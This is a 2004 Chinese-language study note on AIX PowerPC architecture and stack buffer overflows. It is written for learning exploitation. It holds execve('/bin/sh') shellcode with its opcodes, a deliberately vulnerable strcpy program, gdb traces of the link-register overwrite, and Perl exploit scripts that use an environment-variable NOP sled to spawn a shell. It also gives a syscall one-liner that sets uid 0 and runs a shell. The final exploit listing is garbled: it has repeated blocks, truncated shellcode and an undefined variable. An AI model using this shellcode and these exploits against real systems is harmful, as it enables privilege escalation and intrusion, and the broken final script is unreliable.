AIX PowerPC体系结构及其溢出技术学习笔记
创建时间:2004-06-04
文章属性:原创
文章提交:san (san_at_xfocus.org)
整理:san
创建:2004-05-23
一、熟悉PowerPC体系及其精简指令集计算
PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,表现为5类主要的指令:
1、分支(branch)指令
2、定点(fixed-point)指令
3、浮点(floating-point)指令
4、装载和存储指令
5、处理器控制指令
PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器(floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下面主要介绍这几个常用的寄存器:
通用寄存器的用途:
r0 在函数开始(function prologs)时使用。
r1 堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。
r2 内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。
r3 作为第一个参数和返回地址。
r4-r10 函数或系统调用开始的参数。
r11 用在指针的调用和当作一些语言的环境指针。
r12 它用在异常处理和glink(动态连接器)代码。
r13 保留作为系统线程ID。
r14-r31 作为本地变量,非易失性。
专用寄存器的用途:
lr 链接寄存器,它用来存放函数调用结束处的返回地址。
ctr 计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。
xer 定点异常寄存器,存放整数运算操作的进位以及溢出信息。
msr 机器状态寄存器,用来配置微处理器的设定。
cr 条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机制。
寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失性,但是只有在调用函数在调用后必须恢复它的值时才被处理。
寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值。
条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改变它们必须保存并恢复这些字段。
在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄存器是给该系统调用的参数。在执行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。
二、学习AIX PowerPC汇编
由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以从 http://aixpdslib.seas.ucla.edu/下载到。先写一个最小的C程序:
/* setuid.c
*
* Learn AIX PowerPC assemble
*/
#include <unistd.h>
int main()
{
setuid(0);
}
用gcc的-S选项编译一下:
bash-2.04$ gcc -S setuid.c
在当前目录得到setuid.s:
.file "setuid.c"
.toc
.csect .text[PR]
gcc2_compiled.:
__gnu_compiled_c:
.align 2
.globl main
.globl .main
.csect main[DS]
main:
.long .main, TOC[tc0], 0
.csect .text[PR]
.main:
.extern __mulh
.extern __mull
.extern __divss
.extern __divus
.extern __quoss
.extern __quous
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-64(1)
mr 31,1
bl .__main
cror 31,31,31
li 3,0
bl .setuid
cror 31,31,31
L..2:
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr
LT..main:
.long 0
.byte 0,0,32,97,128,1,0,1
.long LT..main-.main
.short 4
.byte "main"
.byte 31
_section_.text:
.csect .data[RW],3
.long _section_.text
经过精简,发现如下这样的格式就足够了:
.globl .main
.csect .text[PR]
.main:
mflr 0
stw 31,-4(1)
stw 0,8(1)
stwu 1,-64(1)
mr 31,1
bl .__main
cror 31,31,31
li 3,0
bl .setuid
cror 31,31,31
L..2:
lwz 1,0(1)
lwz 0,8(1)
mtlr 0
lwz 31,-4(1)
blr
三、学习AIX PowerPC的shellcode
B-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在我们也可以依样画葫芦了:
bash-2.04$ cat simple_execve.s
.globl .main
.csect .text[PR]
.main:
xor. %r5, %r5, %r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志
bnel .main # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
mflr %r3 # 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的地址
addi %r3, %r3, 32 # 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址
stw %r3, -8(%r1) # argv[0] = string 把r3写入堆栈
stw %r5, -4(%r1) # argv[1] = NULL 把0写入堆栈
subi %r4, %r1, 8 # r4指向argv[]
li %r2, 3 # AIX 4.3的execve中断号是3
crorc %cr6, %cr6, %cr6 # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。
svca 0 # execve(r3, r4, r5)
string: # execve(path, argv[], NULL)
.asciz "/bin/sh"
bash-2.04$ gcc -o simple_execve simple_execve.s
bash-2.04$ ./simple_execve
$
正确执行了execve,用objdump查看一下它的opcode:
bash-2.04$ objdump -d simple_execve|more
0000000010000308 <.main>:
10000308: 7c a5 2a 79 xor. r5,r5,r5
1000030c: 40 82 ff fd bnel 10000308 <.main>
10000310: 7c 68 02 a6 mflr r3
10000314: 38 63 00 20 cal r3,32(r3)
10000318: 90 61 ff f8 st r3,-8(r1)
1000031c: 90 a1 ff fc st r5,-4(r1)
10000320: 38 81 ff f8 cal r4,-8(r1)
10000324: 38 40 00 03 lil r2,3
10000328: 4c c6 33 42 crorc 6,6,6
1000032c: 44 00 00 02 svca 0
10000330: 2f 62 69 6e cmpi 6,r2,26990
10000334: 2f 73 68 00 cmpi 6,r19,26624
可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:
/* shellcode.c
*
* ripped from lsd
*/
char shellcode[] = /* 12*4+8 bytes */
"/x7c/xa5/x2a/x79" /* xor. r5,r5,r5 */
"/x40/x82/xff/xfd" /* bnel <shellcode> */
"/x7f/xe8/x02/xa6" /* mflr r31 */
"/x3b/xff/x01/x20" /* cal r31,0x120(r31) */
"/x38/x7f/xff/x08" /* cal r3,-248(r31) */
"/x38/x9f/xff/x10" /* cal r4,-240(r31) */
"/x90/x7f/xff/x10" /* st r3,-240(r31) */
"/x90/xbf/xff/x14" /* st r5,-236(r31) */
"/x88/x5f/xff/x0f" /* lbz r2,-241(r31) */
"/x98/xbf/xff/x0f" /* stb r5,-241(r31) */
"/x4c/xc6/x33/x42" /* crorc cr6,cr6,cr6 */
"/x44/xff/xff/x02" /* svca */
"/bin/sh"
"/x03"
;
int main(void)
{
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
}
编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:
.data:200006D8 shellcode: # CODE XREF: .data:200006DCp
.data:200006D8 # DATA XREF: .data:shellcode_TCo
.data:200006D8 7C A5 2A 79 xor. r5, r5, r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志
.data:200006DC 40 82 FF FD bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入死循环
.data:200006E0 7F E8 02 A6 mflr r31 # 等价于mfspr r31, 8,这里把lr寄存器的值拷贝到r31
.data:200006E4 3B FF 01 20 addi r31, r31, 0x120 # r31等于.data:20000800
.data:200006E8 38 7F FF 08 subi r3, r31, 0xF8 # r3等于.data:20000708
.data:200006EC 38 9F FF 10 subi r4, r31, 0xF0 # r4等于.data:20000710
.data:200006F0 90 7F FF 10 stw r3, -0xF0(r31) # 把地址.data:20000708放到.data:20000710
.data:200006F4 90 BF FF 14 stw r5, -0xEC(r31) # 把0放到.data:20000714
.data:200006F8 88 5F FF 0F lbz rtoc, -0xF1(r31) # 读入execve的中断号到r2寄存器
.data:200006FC 98 BF FF 0F stb r5, -0xF1(r31) # .data:2000070F写入一个字节0
.data:20000700 4C C6 33 42 crorc 4*cr1+eq, 4*cr1+eq, 4*cr1+eq # Condition Register OR with Comlement
.data:20000700 # 哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪哪?
.data:20000704 44 .byte 0x44 # execve(r3, r4, r5)
.data:20000705 FF .byte 0xFF # execve(path, argv[], NULL)
.data:20000706 FF .byte 0xFF
.data:20000707 02 .byte 2
.data:20000708 2F .byte 0x2F # /
.data:20000709 62 .byte 0x62 # b
.data:2000070A 69 .byte 0x69 # i
.data:2000070B 6E .byte 0x6E # n
.data:2000070C 2F .byte 0x2F # /
.data:2000070D 73 .byte 0x73 # s
.data:2000070E 68 .byte 0x68 # h
.data:2000070F 03 .byte 3
至此,我们了解了AIX PowerPC下如何简单的调试shellcode。有一个很大的问题,AIX的各系统调用号随系统版本不断变化,这给写通用shellcode造成很大的困难,watercloud整理过各系统版本一部分系统调用号[7]:
Aix5.1 seteuid 0xb6 setreuid 0xb7 execve 0x5
Aix4.3 seteuid 0x92 setreuid 0x96 execve 0x3
Aix4.3.3 seteuid 0x92/0x93 setuid 0x93/0x94 setreuid 0x96/0x97 execve 0x4/0x3
Aix4.2 setuid 0x71 execve 0x2
Aix4.3 setregid: ??
Aix4.3.3 setregid: 248/247
Aix5.1 setregid: ??
Aix5.2 execve: ?? setreuid: ?? setregid: ??
这个表并不是很全,有环境的朋友可以继续修改补全。另外Aix提供了一个syscall命令,如果我们拿到了euid=0就权限可以这样使得uid=0了:
/usr/bin/syscall setreuid 0 0 /; execve "/bin/sh"
四、学习AIX PowerPC的溢出技术
要学习溢出技术就必须了解堆栈结构,PowerPC的堆栈结构和ia32有很大不同,PowerPC没有类似ia32里ebp这个指针,它只使用r1寄存器把整个堆栈构成一个单向链表,其增长方向是从高地址到低地址,而本地变量的增长方向也是从低地址到高地址的,这就给溢出获得控制的技术提供了保证。32位PowerPC的堆栈结构如下图:
. 调用前的堆栈 . . 调用后的堆栈 .
. . . .
| | | |
+----------------+- +----------------+-
| Parameter area | | | Parameter area | |
+----------------+ +-调用函数 +----------------+ +-调用函数
| Linkage area | | | Linkage area | |
SP --->+----------------+- +----------------+-
| 堆栈增长方向 | | Saved registers| |
. | . +----------------+ |
. v . | Local variables| |
+----------------+ +-被调函数
| Parameter area | |
+----------------+ |
| Linkage area | |
SP --->+----------------+-
| 堆栈增长方向 |
. | .
. v .
每个PowerPC的栈帧数据包含4个部分:链接区、参数区、本地变量和寄存器区。
链接区保存了被调函数和调用函数的一些值,它的结构如下:
+24+----------------+
| Saved TOC |
+20+----------------+
| Reserved |
+16+----------------+
| Reserved |
+12+----------------+
| Saved LR |
+8+----------------+
| Saved CR |
+4+----------------+
| Saved SP |
SP --->+----------------+
被调函数的链接寄存器(LR)保存到8(SP)。
被调函数可能把条件寄存器(CR)保存到4(SP),如果链接寄存器已经保存,这也就没有必要了。
堆栈指针永远保存调用函数的栈帧,这样被调函数就可以找到调用函数的参数区,不过这也意味着PowerPC不可能有push和pop这样对堆栈的操作。
全局链接代码会把TOC指针保存到20(SP)的地方。
参数区用来传递其它被调函数的参数。当前函数的参数是通过上一函数(调用者)的参数区和被设计用来传递参数的通用寄存器中获取。
如果本地变量太多,无法在非易失性寄存器中存放,那么就会使用基于堆栈的本地变量。它的大小在编译的时候确定,是不可修改的。
寄存器区包含非易失性寄存器的值。当被调函数使用这些寄存器作为本地变量,而调用函数可能会用到同样的寄存器,那么这些寄存器的信息需要在调用函数修改它们之前保存。当然,被调函数返回的时候需要恢复这些寄存器的值。
ia32中当函数返回时,一般都有如下三条指令:
mov esp,ebp ; 堆栈指针esp指向前一个栈帧
pop ebp
ret ; 执行esp+4保存的返回地址
AIX PowerPC中当函数返回时,一般有如下几条指令:
lwz r1,0(r1) # 堆栈指针r1指向前一个栈帧
lwz r0,8(r1) # r0等于堆栈里保存的lr值
mtlr r0 # lr=r0
lwz r31,-4(r1) #
blr # 跳到lr执行
可以看到虽然AIX PowerPC的堆栈结构和ia32的不同,但是溢出技术的手法是一样的。ia32是覆盖当前ebp+4保存的返回地址,当函数返回的时候就会跳到我们指定的地址执行;AIX PowerPC要覆盖到下一个栈帧保存lr的地址,当函数返回的时候也会跳到我们指定的地址执行。
文字描述无法实际理解,自己动手一下才会真正领会,下面用一个简单的程序走一遍流程:
bash-2.04$ cat simple_overflow.c
/* simple_overflow.c
*
* Simple program to demonstrate buffer overflows
* on the PowerPC architecture.
*/
#include <stdio.h>
#include <string.h>
char largebuff[] =
"1234512345123456=PRESERVEDSPACE=ABCD";
int main (void)
{
char smallbuff[16];
strcpy (smallbuff, largebuff);
}
bash-2.04$ gcc -o simple_overflow simple_overflow.c
bash-2.04$ gdb simple_overflow
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix4.3.2.0"...
(gdb) r
Starting program: /home/san/simple_overflow
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? () from (unknown load module)
(gdb) i reg
r0 0x41424344 1094861636
r1 0x2ff22ba0 804400032
r2 0x20000790 536872848
r3 0x2ff22b88 804400008
r4 0x20000734 536872756
r5 0x2ff22bac 804400044
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22be8 804400104
r16 0x2ff22bf0 804400112
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0xdeadbeef -559038737
r29 0xdeadbeef -559038737
r30 0xdeadbeef -559038737
r31 0x53455256 1397051990
pc 0x41424344 1094861636
ps 0x4000d030 1073795120
cr 0x22222242 572662338
lr 0x41424344 1094861636
ctr 0x4 4
xer 0x0 0
pc寄存器已经被覆盖为ABCD,跟着程序一步步走走,看看pc是怎么变为ABCD的:
(gdb) disas main
Dump of assembler code for function main:
0x10000308 <main>: mflr r0
0x1000030c <main+4>: stw r31,-4(r1)
0x10000310 <main+8>: stw r0,8(r1)
0x10000314 <main+12>: stwu r1,-80(r1)
0x10000318 <main+16>: mr r31,r1
0x1000031c <main+20>: bl 0x100004c8 <__main>
0x10000320 <main+24>: crmove 4*cr7+so,4*cr7+so
0x10000324 <main+28>: addi r3,r31,56
0x10000328 <main+32>: lwz r4,32(r2)
0x1000032c <main+36>: bl 0x10000520 <text+4>
0x10000330 <main+40>: crmove 4*cr7+so,4*cr7+so
0x10000334 <main+44>: lwz r1,0(r1)
0x10000338 <main+48>: lwz r0,8(r1)
0x1000033c <main+52>: mtlr r0
0x10000340 <main+56>: lwz r31,-4(r1)
0x10000344 <main+60>: blr
0x10000348 <main+64>: .long 0x0
0x1000034c <main+68>: .long 0x2061
0x10000350 <main+72>: lwz r0,1(r1)
0x10000354 <main+76>: .long 0x40
0x10000358 <main+80>: .long 0x46d61
0x1000035c <main+84>: xori r14,r11,7936
End of assembler dump.
(gdb) b main
Breakpoint 1 at 0x1000031c
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/san/simple_overflow
Breakpoint 1, 0x1000031c in main ()
(gdb) display/i $pc
1: x/i $pc 0x1000031c <main+20>: bl 0x100004c8 <__main>
(gdb) ni
0x10000320 in main ()
1: x/i $pc 0x10000320 <main+24>: crmove 4*cr7+so,4*cr7+so
(gdb) x/20x $r1
0x2ff22b50: 0x2ff22ba0 0x00000000 0x10000320 0x00000000
0x2ff22b60: 0x2ff22ba0 0x00000000 0x00000000 0x00000000
0x2ff22b70: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b80: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b90: 0x00000000 0x00000000 0x00000000 0xdeadbeef
(gdb)
0x2ff22ba0: 0x00000000 0x00000000 0x100001cc 0x00000000
0x2ff22bb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bc0: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be0: 0x00000000 0x00000000 0x2ff22c70 0x00000000
(gdb) bt
#0 0x10000320 in main ()
#1 0x100001cc in __start ()
0x2ff22b50是当前的堆栈指针,它指向的地址是前一个栈帧。从堆栈回溯或堆栈内容来看,前一个栈帧保存的lr是0x100001cc,也就是说main函数退出后会执行到这个地址,先来看程序流程:
(gdb) until *0x10000330
0x10000330 in main ()
2: x/i $pc 0x10000330 <main+40>: crmove 4*cr7+so,4*cr7+so
(gdb) i reg
r0 0x20 32
r1 0x2ff22b50 804399952
r2 0x20000790 536872848
r3 0x2ff22b88 804400008
r4 0x20000734 536872756
r5 0x2ff22bac 804400044
r6 0x0 0
r7 0x0 0
r8 0x0 0
r9 0x80808080 -2139062144
r10 0x7f7f7f7f 2139062143
r11 0x4 4
r12 0x80808080 -2139062144
r13 0xdeadbeef -559038737
r14 0x1 1
r15 0x2ff22be8 804400104
r16 0x2ff22bf0 804400112
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0xdeadbeef -559038737
r29 0xdeadbeef -559038737
r30 0xdeadbeef -559038737
r31 0x2ff22b50 804399952
pc 0x10000330 268436272
ps 0x2d030 184368
cr 0x22222242 572662338
lr 0x10000330 268436272
ctr 0x4 4
xer 0x0 0
(gdb) x/20x $r1
0x2ff22b50: 0x2ff22ba0 0x00000000 0x10000320 0x00000000
0x2ff22b60: 0x2ff22ba0 0x00000000 0x00000000 0x00000000
0x2ff22b70: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22b80: 0x00000000 0x00000000 0x31323334 0x35313233
0x2ff22b90: 0x34353132 0x33343536 0x3d505245 0x53455256
(gdb)
0x2ff22ba0: 0x45445350 0x4143453d 0x41424344 0x00000000
0x2ff22bb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bc0: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22bd0: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22be0: 0x00000000 0x00000000 0x2ff22c70 0x00000000
strcpy已经完成,前一个栈帧保存lr寄存器的内容已经改写成0x41424344,接着看程序流程:
(gdb) ni
0x10000334 in main ()
2: x/i $pc 0x10000334 <main+44>: lwz r1,0(r1)
(gdb)
0x10000338 in main ()
2: x/i $pc 0x10000338 <main+48>: lwz r0,8(r1)
(gdb)
0x1000033c in main ()
2: x/i $pc 0x1000033c <main+52>: mtlr r0
(gdb)
0x10000340 in main ()
2: x/i $pc 0x10000340 <main+56>: lwz r31,-4(r1)
(gdb)
0x10000344 in main ()
2: x/i $pc 0x10000344 <main+60>: blr
(gdb)
Cannot access memory at address 0x41424344
0x10000344 in main ()
2: x/i $pc 0x10000344 <main+60>: blr
这几步指令的功能在前面已经说过了,就是main函数在退出的时候会切换到前一个栈帧,并且把r1+8的内容保存到lr寄存器,然后跳到lr寄存器执行。
五、学习如何攻击AIX PowerPC的溢出程序
了解了溢出流程后,我们可以来试试如何写攻击程序:
bash-2.04$ cat vulnerable.c
/* vulnerable.c
*
* Vulnerable program on the PowerPC architecture.
*/
#include <stdio.h>
#include <string.h>
int main (int argc, char *argv[])
{
char vulnbuff[16];
strcpy (vulnbuff, argv[1]);
printf ("/n%s/n", vulnbuff);
getchar(); /* for debug */
}
bash-2.04$ gcc -o vulnerable vulnerable.c
AIX和其它架构的操作系统一样,也有USER_UPPER(栈底),它的地址是0x2ff22fff,大致的堆栈结构如下:
栈底
+----------------+ 0x2ff22fff
| 保留 |
+----------------+
| 环境变量 |
+----------------+
| 执行文件参数 |
+----------------+
|执行文件绝对路径|
+----------------+
| 栈帧 |
SP --->+----------------+
| 堆栈增长方向 |
. | .
. v .
虽然不确认保留字段的长度,但是我们能够比较准确的猜测环境变量的地址,参考前面的调试流程和watercloud的一些AIX攻击程序,想当然的写一个攻击程序:
bash-2.04$ cat exploit.pl
#!/usr/bin/perl
#
# exploit.pl
# exploit program vulnerable
$CMD="/home/san/vulnerable";
$SHELLCODE=
"/x7c/xa5/x2a/x79". # /* xor. r5,r5,r5 */
"/x40/x82/xff/xfd". # /* bnel <shellcode> */
"/x7f/xe8/x02/xa6". # /* mflr r31 */
"/x3b/xff/x01/x20". # /* cal r31,0x120(r31) */
"/x38/x7f/xff/x08". # /* cal r3,-248(r31) */
"/x38/x9f/xff/x10". # /* cal r4,-240(r31) */
"/x90/x7f/xff/x10". # /* st r3,-240(r31) */
"/x90/xbf/xff/x14". # /* st r5,-236(r31) */
"/x88/x5f/xff/x0f". # /* lbz r2,-241(r31) */
"/x98/xbf/xff/x0f". # /* stb r5,-241(r31) */
"/x4c/xc6/x33/x42". # /* crorc cr6,cr6,cr6 */
"/x44/xff/xff/x02". # /* svca */
"/bin/sh".
"/x03";
$NOP="/x60/x60/x60/x60"x800;
%ENV=();
$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"/x2f/xf2/x2b/x40"x9;
调试一下:
bash-2.04$ ./exploit.pl
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
在另一个终端用gdb调试vulnerable:
bash-2.04$ ps aux|grep vul
san 259226 0.0 0.0 208 244 pts/1 A 21:02:58 0:00 grep vul
san 13018 0.0 0.0 64 120 pts/0 A 21:00:10 0:00 /home/san/vulner
bash-2.04$ gdb vulnerable 13018
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "powerpc-ibm-aix4.3.2.0"...
/home/san/13018: No such file or directory.
Attaching to program: /home/san/vulnerable, process 13018
0xd01762f0 in read ()
(gdb) disas main
Dump of assembler code for function main:
0x10000308 <main>: mflr r0
0x1000030c <main+4>: stw r31,-4(r1)
0x10000310 <main+8>: stw r0,8(r1)
0x10000314 <main+12>: stwu r1,-80(r1)
0x10000318 <main+16>: mr r31,r1
0x1000031c <main+20>: stw r3,104(r31)
0x10000320 <main+24>: stw r4,108(r31)
0x10000324 <main+28>: bl 0x10000530 <__main>
0x10000328 <main+32>: crmove 4*cr7+so,4*cr7+so
0x1000032c <main+36>: lwz r11,108(r31)
0x10000330 <main+40>: addi r9,r11,4
0x10000334 <main+44>: addi r3,r31,56
0x10000338 <main+48>: lwz r4,0(r9)
0x1000033c <main+52>: bl 0x100005a0 <text+28>
0x10000340 <main+56>: crmove 4*cr7+so,4*cr7+so
0x10000344 <main+60>: lwz r3,40(r2)
0x10000348 <main+64>: addi r4,r31,56
0x1000034c <main+68>: bl 0x100006b4 <printf>
0x10000350 <main+72>: lwz r2,20(r1)
0x10000354 <main+76>: lwz r0,44(r2)
0x10000358 <main+80>: lwz r9,44(r2)
0x1000035c <main+84>: lwz r11,44(r2)
0x10000360 <main+88>: lwz r10,4(r11)
0x10000364 <main+92>: addi r0,r10,-1
0x10000368 <main+96>: mr r11,r0
0x1000036c <main+100>: stw r11,4(r9)
0x10000370 <main+104>: cmpwi r11,0
0x10000374 <main+108>: bge 0x10000388 <main+128>
0x10000378 <main+112>: lwz r3,44(r2)
0x1000037c <main+116>: bl 0x10000720 <__filbuf>
0x10000380 <main+120>: lwz r2,20(r1)
0x10000384 <main+124>: b 0x10000398 <main+144>
0x10000388 <main+128>: lwz r9,44(r2)
0x1000038c <main+132>: lwz r11,0(r9)
0x10000390 <main+136>: addi r11,r11,1
0x10000394 <main+140>: stw r11,0(r9)
0x10000398 <main+144>: lwz r1,0(r1)
0x1000039c <main+148>: lwz r0,8(r1)
0x100003a0 <main+152>: mtlr r0
0x100003a4 <main+156>: lwz r31,-4(r1)
0x100003a8 <main+160>: blr
0x100003ac <main+164>: .long 0x0
---Type <return> to continue, or q <return> to quit---
0x100003b0 <main+168>: .long 0x2061
0x100003b4 <main+172>: lwz r0,513(r1)
0x100003b8 <main+176>: .long 0x0
0x100003bc <main+180>: .long 0xa4
0x100003c0 <main+184>: .long 0x46d61
0x100003c4 <main+188>: xori r14,r11,7936
End of assembler dump.
(gdb) b *0x100003a8
Breakpoint 1 at 0x100003a8
(gdb) c
Continuing.
在执行exploit.pl的窗口随便敲个键,gdb调试窗口就可以继续了:
Breakpoint 1, 0x100003a8 in main ()
(gdb) i reg
r0 0x2ff22b40 804399936
r1 0x2ff22210 804397584
r2 0x20000838 536873016
r3 0xa 10
r4 0xf005f470 -268045200
r5 0xf005f471 -268045199
r6 0xd030 53296
r7 0x0 0
r8 0x60000000 1610612736
r9 0x6000695b 1610639707
r10 0x0 0
r11 0x6000322f 1610625583
r12 0x10000380 268436352
r13 0xdeadbeef -559038737
r14 0x2 2
r15 0x2ff22264 804397668
r16 0x2ff22270 804397680
r17 0x0 0
r18 0xdeadbeef -559038737
r19 0xdeadbeef -559038737
r20 0xdeadbeef -559038737
r21 0xdeadbeef -559038737
r22 0xdeadbeef -559038737
r23 0xdeadbeef -559038737
r24 0xdeadbeef -559038737
r25 0xdeadbeef -559038737
r26 0xdeadbeef -559038737
r27 0xdeadbeef -559038737
r28 0xdeadbeef -559038737
r29 0xdeadbeef -559038737
r30 0xdeadbeef -559038737
r31 0x2ff22b40 804399936
pc 0x100003a8 268436392
ps 0x2d030 184368
cr 0x24222422 606217250
lr 0x2ff22b40 804399936
ctr 0x0 0
xer 0x0 0
(gdb) x/20x $r1
0x2ff22210: 0x2ff22b40 0x2ff22b40 0x2ff22b40 0x00000000
0x2ff22220: 0x00000000 0x00000000 0x00000002 0x2ff22264
0x2ff22230: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22240: 0x00000000 0x00000000 0x00000000 0x00000000
0x2ff22250: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) x/20x 0x2ff22b40
0x2ff22b40: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b50: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b60: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b70: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22b80: 0x60606060 0x60606060 0x60606060 0x60606060
...
...
...
(gdb)
0x2ff22f00: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f10: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f20: 0x60606060 0x60606060 0x60606060 0x60606060
0x2ff22f30: 0x60606060 0x60607ca5 0x2a794082 0xfffd7fe8
0x2ff22f40: 0x02a63bff 0x0120387f 0xff08389f 0xff10907f
我们看到lr寄存器正好被覆盖为0x2ff22b40,这就说明程序的流程能达到0x2ff22b40,这个地址也都是填充的nop指令,由于AIX PowerPC是4字节的等长指令,注意到0x2ff22f34这个地址错了两个字节,这肯定导致shellcode无法正常执行。watercloud有一个很好的方法解决这个指令字节对齐的问题,用嵌套循环遍历保证字节对齐:
#!/usr/bin/perl
#
# exploit.pl
# exploit program vulnerable
$CMD="/home/san/vulnerable";
$SHELLCODE=
"/x7c/xa5/x2a/x79". # /* xor. r5,r5,r5 */
"/x40/x82/xff/xfd". # /* bnel <shellcode> */
"/x7f/xe8/x02/xa6". # /* mflr r31 */
"/x3b/xff/x01/x20". # /* cal r31,0x120(r31) */
"/x38/x7f/xff/x08". # /* cal r3,-248(r31) */
"/x38/x9f/xff/x10". # /* cal r4,-240(r31) */
"/x90/x7f/xff/x10". # /* st r3,-240(r31) */
"/x90/xbf/xff/x14". # /* st r5,-236(r31) */
%ENV=();
$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"/x2f/xf2/x2b/x40"x9;
for($i=0;$i<4 && $ret;$i++){
for($j=0;$j<4 && $ret;$j++) {
$ENV{CCC}="A"x $j .$NOP.$SHELLCODE;
%ENV=();
$ENV{CCC}=$NOP.$SHELLCODE;
$ret=system $CMD ,"/x2f/xf2/x2b/x40"x9;
for($i=0;$i<4 && $ret;$i++){
for($j=0;$j<4 && $ret;$j++) {
$ENV{CCC}="A"x $j .$NOP.$SHELLCODE;
$ret = system $CMD ,"A"x $i ."/x2f/xf2/x2b/x40"x9;
}
}
bash-2.04$ ./exploit.pl
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@/ò+@
$
